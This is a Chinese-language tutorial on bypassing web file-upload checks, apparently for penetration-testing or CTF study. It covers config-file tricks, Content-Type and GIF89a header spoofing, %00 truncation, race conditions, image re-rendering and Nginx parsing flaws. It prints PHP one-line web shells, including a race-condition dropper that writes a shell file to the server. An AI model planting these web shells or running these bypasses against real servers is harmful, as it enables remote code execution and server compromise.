Web文件上传漏洞
简述
Web 文件上传漏洞指的是 Web 应用程序在处理用户上传文件的过程中,由于对上传文件的类型、大小、内容等方面缺乏严格有效的验证和过滤,导致攻击者能够上传恶意文件到服务器上,并可能进一步执行这些文件,从而对服务器系统和数据造成损害。
目录
- 上传.user.ini / .htaccess 配置文件方式绕过验证
- 通过抓包更改文件类型绕过验证
- 通过更改文件头的方式绕过验证
- 黑名单白名单检测机制
- Zero-Zero截断
- 条件竞争
- 二次渲染
- 函数缺陷
- Nginx解析漏洞
(一)上传.user.ini / .htaccess 配置文件方式绕过验证
.user.ini 是用户自定义的php全局配置文件。
.htaccess 是Apache的配置文件(只能在Apache服务器起作用。)
.htaccess
.htaccess文件提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。 在绕过文件上传的限制中,在Apache全局配置文件中httpd.conf有这样一条配置: AddType application/x-httpd-php .php .phtml .php5 .pht .phps
.jpg
.user.ini
将上传服务器.user.ini写入
auto_prepend_file=Demo.png
在包含的文件Demo.png中写入一句话木马即可。
(二)通过抓包更改文件类型绕过验证
抓包找到Content-Type将类型改成图片类型:image/gif
Content-Type:image/gif
(三)通过更改文件头的方式绕过验证
使用编辑器将一句话木马代码开头加上任意图片类型头文件,例如:GIF89a
GIF89a
<?php eval($_POST['a']);?>
与此同时也要通过bp抓包更改Content-Type文件类型。
(四)黑名单白名单检测机制
黑名单
检查机制可能出现以下漏洞:
- 对后缀名的过滤只检测一次
- 未区分大小写进行过滤
- 黑名单中存在文件类型检测不严格
白名单
。。。
(五)Zero-Zero截断
条件:PHP版本小于5.3.4 && magic_quotes_gpc = OFF
使用bp抓包,在POST后面的文件路径中,将文件后缀修改为.php%00
(目前几乎很少见到这个php版本了)
如果路径不在POST后面而在下方某处,需要将%00进行URL解码,才能正常上传。
(六)条件竞争
逻辑缺陷 --> 先上传 后判断 再逻辑处理
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
用bp不断地上传这个文件,浏览器这边不停地按刷新,直到写入代码执行。
(七)二次渲染
条件:文件上传漏洞 && 文件包含漏洞
将正常图片上传,上传后下载服务器方向你展现的图片(路径信息和文件查看),原图与服务器方渲染后的图放入010十六进制编辑器里做比较,分析哪些内容是被压缩而改变的,哪些内容是不会发生改变的。将一句话木马植入不会发送改变的内容后面再进行上传。上传成功后利用文件包含漏洞显示敏感信息。POST data:pass=phpinfo();
<?php @eval($_POST('pass'));?>
(八)函数缺陷
move_uploaded_file($temp_file, $image_path)
条件:使用后端代码中出现上述函数&&文件的命名由你自定义。
上传后缀为JPG的文件,文件内容是一句话木马。如果旁边有文本框让你自定义文件名即可利用此漏洞。
可以命名为1.php/.
即可绕过限制。 (实际中,几乎没有这种让你自定义文件名的文本框功能)
(九)Nginx解析漏洞
版本信息:
- Nginx 1.x 最新版
- PHP 7.x最新版
由此可知,该漏洞与Nginx和PHP版本无关,属于用户配置不当造成的解析漏洞。
利用解析漏洞绕过PHP后缀检测:
首先上传一个正常的图片文件利用bp抓包Request窗口调至Raw处在文件内容后面添加恶意的php代码。
Response窗口获得存放路径,直接在浏览上访问,并在图片路径后面添加任意的带php后缀的文件名,即可完成访问。